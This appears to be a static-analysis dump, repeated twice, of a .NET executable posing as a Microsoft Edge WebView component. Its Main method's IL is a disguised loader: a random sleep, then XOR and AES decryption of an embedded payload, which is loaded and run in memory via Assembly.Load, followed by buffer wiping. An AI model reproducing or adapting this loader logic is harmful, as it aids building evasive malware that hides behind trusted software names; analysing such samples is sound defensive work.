| Info |
PE Detect: PeReader OK (file layout) |
| Module Name |
msedgewebview_798ac5ed.exe |
| Full Name |
msedgewebview_798ac5ed.exe |
| EntryPoint |
System.Void Microsoft.Edge.WebView.Program::Main() |
| Scope Name |
msedgewebview_798ac5ed.exe |
| Scope Type |
|
| Kind |
|
| Runtime Version |
|
| Tables Header Version |
|
| WinMD Version |
|
| Assembly Name |
|
| Assembly Version |
|
| Assembly Culture |
|
| Has PublicKey |
|
| PublicKey Token |
|
| Target Framework |
|
| Total Strings |
|
| Main Method |
System.Void Microsoft.Edge.WebView.Program::Main() |
| Main IL Instruction Count |
|
| Main IL |
newobj System.Void System.Random::.ctor()
ldc.i4 2000
ldc.i4 5000
callvirt System.Int32 System.Random::Next(System.Int32,System.Int32)
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldsfld System.String Microsoft.Edge.WebView.Program::_k
call System.Byte[] System.Convert::FromBase64String(System.String)
stloc.0 <null>
ldsfld System.String Microsoft.Edge.WebView.Program::_d
call System.Byte[] System.Convert::FromBase64String(System.String)
stloc.1 <null>
ldc.i4.0 <null>
stloc.2 <null>
br.s IL_0045: ldloc.2
ldloc.1 <null>
ldloc.2 <null>
ldloc.1 <null>
ldloc.2 <null>
ldelem.u1 <null>
ldloc.0 <null>
ldloc.2 <null>
ldc.i4.s 16
rem <null>
ldelem.u1 <null>
xor <null>
conv.u1 <null>
stelem.i1 <null>
ldloc.2 <null>
ldc.i4.1 <null>
add <null>
stloc.2 <null>
ldloc.2 <null>
ldloc.1 <null>
ldlen <null>
conv.i4 <null>
blt.s IL_0033: ldloc.1
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldloc.1 <null>
callvirt System.String System.Text.Encoding::GetString(System.Byte[])
stloc.3 <null>
ldnull <null>
stloc.1 <null>
ldnull <null>
stsfld System.String Microsoft.Edge.WebView.Program::_d
ldloc.3 <null>
call System.Byte[] System.Convert::FromBase64String(System.String)
stloc.s V_4
ldnull <null>
stloc.3 <null>
ldc.i4.s 16
newarr System.Byte
stloc.s V_5
ldloc.s V_4
ldc.i4.0 <null>
ldloc.s V_5
ldc.i4.0 <null>
ldc.i4.s 16
call System.Void System.Buffer::BlockCopy(System.Array,System.Int32,System.Array,System.Int32,System.Int32)
ldc.i4.s 32
newarr System.Byte
stloc.s V_6
ldloc.s V_4
ldc.i4.s 16
ldloc.s V_6
ldc.i4.0 <null>
ldc.i4.s 32
call System.Void System.Buffer::BlockCopy(System.Array,System.Int32,System.Array,System.Int32,System.Int32)
ldloc.s V_4
ldlen <null>
conv.i4 <null>
ldc.i4.s 48
sub <null>
newarr System.Byte
stloc.s V_7
ldloc.s V_4
ldc.i4.s 48
ldloc.s V_7
ldc.i4.0 <null>
ldloc.s V_7
ldlen <null>
conv.i4 <null>
call System.Void System.Buffer::BlockCopy(System.Array,System.Int32,System.Array,System.Int32,System.Int32)
ldloc.s V_4
ldc.i4.0 <null>
ldloc.s V_4
ldlen <null>
conv.i4 <null>
call System.Void System.Array::Clear(System.Array,System.Int32,System.Int32)
ldnull <null>
stloc.s V_4
call System.Security.Cryptography.Aes System.Security.Cryptography.Aes::Create()
stloc.s V_8
ldloc.s V_8
ldc.i4.1 <null>
callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_Mode(System.Security.Cryptography.CipherMode)
ldloc.s V_8
ldc.i4.2 <null>
callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_Padding(System.Security.Cryptography.PaddingMode)
ldloc.s V_8
ldloc.s V_6
callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_Key(System.Byte[])
ldloc.s V_8
ldloc.s V_5
callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_IV(System.Byte[])
ldloc.s V_8
callvirt System.Security.Cryptography.ICryptoTransform System.Security.Cryptography.SymmetricAlgorithm::CreateDecryptor()
ldloc.s V_7
ldc.i4.0 <null>
ldloc.s V_7
ldlen <null>
conv.i4 <null>
callvirt System.Byte[] System.Security.Cryptography.ICryptoTransform::TransformFinalBlock(System.Byte[],System.Int32,System.Int32)
stloc.s V_9
ldloc.s V_8
callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::Dispose()
ldloc.s V_7
ldc.i4.0 <null>
ldloc.s V_7
ldlen <null>
conv.i4 <null>
call System.Void System.Array::Clear(System.Array,System.Int32,System.Int32)
ldloc.s V_6
ldc.i4.0 <null>
ldc.i4.s 32
call System.Void System.Array::Clear(System.Array,System.Int32,System.Int32)
ldloc.s V_5
ldc.i4.0 <null>
ldc.i4.s 16
call System.Void System.Array::Clear(System.Array,System.Int32,System.Int32)
ldloc.s V_9
call System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
stloc.s V_10
ldloc.s V_9
ldc.i4.0 <null>
ldloc.s V_9
ldlen <null>
conv.i4 <null>
call System.Void System.Array::Clear(System.Array,System.Int32,System.Int32)
ldnull <null>
stloc.s V_9
ldc.i4.2 <null>
ldc.i4.1 <null>
call System.Void System.GC::Collect(System.Int32,System.GCCollectionMode)
ldloc.s V_10
callvirt System.Reflection.MethodInfo System.Reflection.Assembly::get_EntryPoint()
stloc.s V_11
ldloc.s V_11
ldnull <null>
call System.Boolean System.Reflection.MethodInfo::op_Inequality(System.Reflection.MethodInfo,System.Reflection.MethodInfo)
brfalse.s IL_018E: ldc.i4 60000
ldloc.s V_11
callvirt System.Reflection.ParameterInfo[] System.Reflection.MethodBase::GetParameters()
ldlen <null>
conv.i4 <null>
brtrue.s IL_0171: ldloc.s V_11
ldloc.s V_11
ldnull <null>
ldnull <null>
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
pop <null>
br.s IL_018E: ldc.i4 60000
ldloc.s V_11
ldnull <null>
ldc.i4.1 <null>
newarr System.Object
stloc.s V_12
ldloc.s V_12
ldc.i4.0 <null>
ldc.i4.0 <null>
newarr System.String
stelem.ref <null>
ldloc.s V_12
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
pop <null>
ldc.i4 60000
call System.Void System.Threading.Thread::Sleep(System.Int32)
br.s IL_018E: ldc.i4 60000
|
| Module Name |
msedgewebview_798ac5ed.exe |
| Full Name |
msedgewebview_798ac5ed.exe |
| EntryPoint |
System.Void Microsoft.Edge.WebView.Program::Main() |
| Scope Name |
msedgewebview_798ac5ed.exe |
| Scope Type |
|
| Kind |
|
| Runtime Version |
|
| Tables Header Version |
|
| WinMD Version |
|
| Assembly Name |
|
| Assembly Version |
|
| Assembly Culture |
|
| Has PublicKey |
|
| PublicKey Token |
|
| Target Framework |
|
| Total Strings |
|
| Main Method |
System.Void Microsoft.Edge.WebView.Program::Main() |
| Main IL Instruction Count |
|
| Main IL |
newobj System.Void System.Random::.ctor()
ldc.i4 2000
ldc.i4 5000
callvirt System.Int32 System.Random::Next(System.Int32,System.Int32)
call System.Void System.Threading.Thread::Sleep(System.Int32)
ldsfld System.String Microsoft.Edge.WebView.Program::_k
call System.Byte[] System.Convert::FromBase64String(System.String)
stloc.0 <null>
ldsfld System.String Microsoft.Edge.WebView.Program::_d
call System.Byte[] System.Convert::FromBase64String(System.String)
stloc.1 <null>
ldc.i4.0 <null>
stloc.2 <null>
br.s IL_0045: ldloc.2
ldloc.1 <null>
ldloc.2 <null>
ldloc.1 <null>
ldloc.2 <null>
ldelem.u1 <null>
ldloc.0 <null>
ldloc.2 <null>
ldc.i4.s 16
rem <null>
ldelem.u1 <null>
xor <null>
conv.u1 <null>
stelem.i1 <null>
ldloc.2 <null>
ldc.i4.1 <null>
add <null>
stloc.2 <null>
ldloc.2 <null>
ldloc.1 <null>
ldlen <null>
conv.i4 <null>
blt.s IL_0033: ldloc.1
call System.Text.Encoding System.Text.Encoding::get_UTF8()
ldloc.1 <null>
callvirt System.String System.Text.Encoding::GetString(System.Byte[])
stloc.3 <null>
ldnull <null>
stloc.1 <null>
ldnull <null>
stsfld System.String Microsoft.Edge.WebView.Program::_d
ldloc.3 <null>
call System.Byte[] System.Convert::FromBase64String(System.String)
stloc.s V_4
ldnull <null>
stloc.3 <null>
ldc.i4.s 16
newarr System.Byte
stloc.s V_5
ldloc.s V_4
ldc.i4.0 <null>
ldloc.s V_5
ldc.i4.0 <null>
ldc.i4.s 16
call System.Void System.Buffer::BlockCopy(System.Array,System.Int32,System.Array,System.Int32,System.Int32)
ldc.i4.s 32
newarr System.Byte
stloc.s V_6
ldloc.s V_4
ldc.i4.s 16
ldloc.s V_6
ldc.i4.0 <null>
ldc.i4.s 32
call System.Void System.Buffer::BlockCopy(System.Array,System.Int32,System.Array,System.Int32,System.Int32)
ldloc.s V_4
ldlen <null>
conv.i4 <null>
ldc.i4.s 48
sub <null>
newarr System.Byte
stloc.s V_7
ldloc.s V_4
ldc.i4.s 48
ldloc.s V_7
ldc.i4.0 <null>
ldloc.s V_7
ldlen <null>
conv.i4 <null>
call System.Void System.Buffer::BlockCopy(System.Array,System.Int32,System.Array,System.Int32,System.Int32)
ldloc.s V_4
ldc.i4.0 <null>
ldloc.s V_4
ldlen <null>
conv.i4 <null>
call System.Void System.Array::Clear(System.Array,System.Int32,System.Int32)
ldnull <null>
stloc.s V_4
call System.Security.Cryptography.Aes System.Security.Cryptography.Aes::Create()
stloc.s V_8
ldloc.s V_8
ldc.i4.1 <null>
callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_Mode(System.Security.Cryptography.CipherMode)
ldloc.s V_8
ldc.i4.2 <null>
callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_Padding(System.Security.Cryptography.PaddingMode)
ldloc.s V_8
ldloc.s V_6
callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_Key(System.Byte[])
ldloc.s V_8
ldloc.s V_5
callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::set_IV(System.Byte[])
ldloc.s V_8
callvirt System.Security.Cryptography.ICryptoTransform System.Security.Cryptography.SymmetricAlgorithm::CreateDecryptor()
ldloc.s V_7
ldc.i4.0 <null>
ldloc.s V_7
ldlen <null>
conv.i4 <null>
callvirt System.Byte[] System.Security.Cryptography.ICryptoTransform::TransformFinalBlock(System.Byte[],System.Int32,System.Int32)
stloc.s V_9
ldloc.s V_8
callvirt System.Void System.Security.Cryptography.SymmetricAlgorithm::Dispose()
ldloc.s V_7
ldc.i4.0 <null>
ldloc.s V_7
ldlen <null>
conv.i4 <null>
call System.Void System.Array::Clear(System.Array,System.Int32,System.Int32)
ldloc.s V_6
ldc.i4.0 <null>
ldc.i4.s 32
call System.Void System.Array::Clear(System.Array,System.Int32,System.Int32)
ldloc.s V_5
ldc.i4.0 <null>
ldc.i4.s 16
call System.Void System.Array::Clear(System.Array,System.Int32,System.Int32)
ldloc.s V_9
call System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[])
stloc.s V_10
ldloc.s V_9
ldc.i4.0 <null>
ldloc.s V_9
ldlen <null>
conv.i4 <null>
call System.Void System.Array::Clear(System.Array,System.Int32,System.Int32)
ldnull <null>
stloc.s V_9
ldc.i4.2 <null>
ldc.i4.1 <null>
call System.Void System.GC::Collect(System.Int32,System.GCCollectionMode)
ldloc.s V_10
callvirt System.Reflection.MethodInfo System.Reflection.Assembly::get_EntryPoint()
stloc.s V_11
ldloc.s V_11
ldnull <null>
call System.Boolean System.Reflection.MethodInfo::op_Inequality(System.Reflection.MethodInfo,System.Reflection.MethodInfo)
brfalse.s IL_018E: ldc.i4 60000
ldloc.s V_11
callvirt System.Reflection.ParameterInfo[] System.Reflection.MethodBase::GetParameters()
ldlen <null>
conv.i4 <null>
brtrue.s IL_0171: ldloc.s V_11
ldloc.s V_11
ldnull <null>
ldnull <null>
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
pop <null>
br.s IL_018E: ldc.i4 60000
ldloc.s V_11
ldnull <null>
ldc.i4.1 <null>
newarr System.Object
stloc.s V_12
ldloc.s V_12
ldc.i4.0 <null>
ldc.i4.0 <null>
newarr System.String
stelem.ref <null>
ldloc.s V_12
callvirt System.Object System.Reflection.MethodBase::Invoke(System.Object,System.Object[])
pop <null>
ldc.i4 60000
call System.Void System.Threading.Thread::Sleep(System.Int32)
br.s IL_018E: ldc.i4 60000
|